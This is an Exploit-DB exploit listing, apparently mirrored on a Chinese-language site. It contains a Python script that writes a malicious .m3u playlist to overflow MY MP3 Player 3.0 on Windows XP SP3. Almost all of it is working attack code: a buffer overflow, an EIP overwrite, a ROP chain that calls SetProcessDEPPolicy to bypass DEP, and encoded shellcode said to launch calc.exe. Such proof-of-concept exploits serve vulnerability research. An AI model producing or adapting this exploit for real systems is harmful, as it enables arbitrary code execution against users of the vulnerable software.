MY MP3 Player 3.0 – ‘.m3u’ DEP Bypass

  • 作者: blake
    日期: 2011-09-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17854/
  • # written to bypass OptIn/OptOut DEP policy
    # tested on windows xp sp3 running in virtualbox
    import sys
    
    print "\n============================"
    print "MY MP3 Player DEP Bypass"
    print " Bypass OptIn/OptOut Policy "
    print "Tested on Windows XP SP3"
    print "Written by Blake"
    print "============================\n"
     
    # calc.exe - 1014 bytes of space for shellcode
    shellcode =(
    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
    "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
    "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
    "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
    "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
    "\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"
    "\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"
    "\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
    "\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
    "\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
    "\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
    "\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"
    "\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"
    "\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
    "\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"
    "\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
    "\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
    "\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"
    "\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
    "\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
    "\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
    "\x4e\x46\x43\x36\x42\x50\x5a")
     
    buffer = "\x41" * 1024
    eip = "\x99\x13\x09\x5d"	# RETN - COMCTL32
    rop = "\x42" * 4			# junk to compensate
    rop += "\x8c\x39\x09\x5d"	# POP EBX, RETN - COMCTL32
    rop += "\xff\xff\xff\xff"
    rop += "\x28\x90\x12\x77"	# INC EBX, RETN - OLEAUT32
    rop += "\x44\x94\x12\x77"	# POP EBP, RETN - OLEAUT32
    rop += "\xa4\x22\x86\x7c"	# SetProcessDEPPolicy
    rop += "\x36\x1c\x12\x77"	# POP EDI, RETN - OLEAUT32
    rop += "\x37\x1c\x12\x77"	# RETN - OLEAUT32
    rop += "\xd4\x1a\x12\x77"	# POP ESI, RETN - OLEAUT32
    rop += "\x37\x1c\x12\x77"	# RETN - OLEAUT32
    rop += "\xf7\x8c\x14\x77"	# PUSHAD, RETN - OLEAUT32
    nops = "\x90" * 20
    junk = "\x42" * (2000 - len(nops + shellcode + rop))
    
    
    print "[+] Creating malicious .m3u file"
    try:
    file = open("exploit.m3u","w")
    file.write(buffer + eip + rop + nops + shellcode + junk)
    file.close()
    print "[+] File created"
    except:
    print "[x] Could not create file"
     
    raw_input("\nPress any key to exit...\n")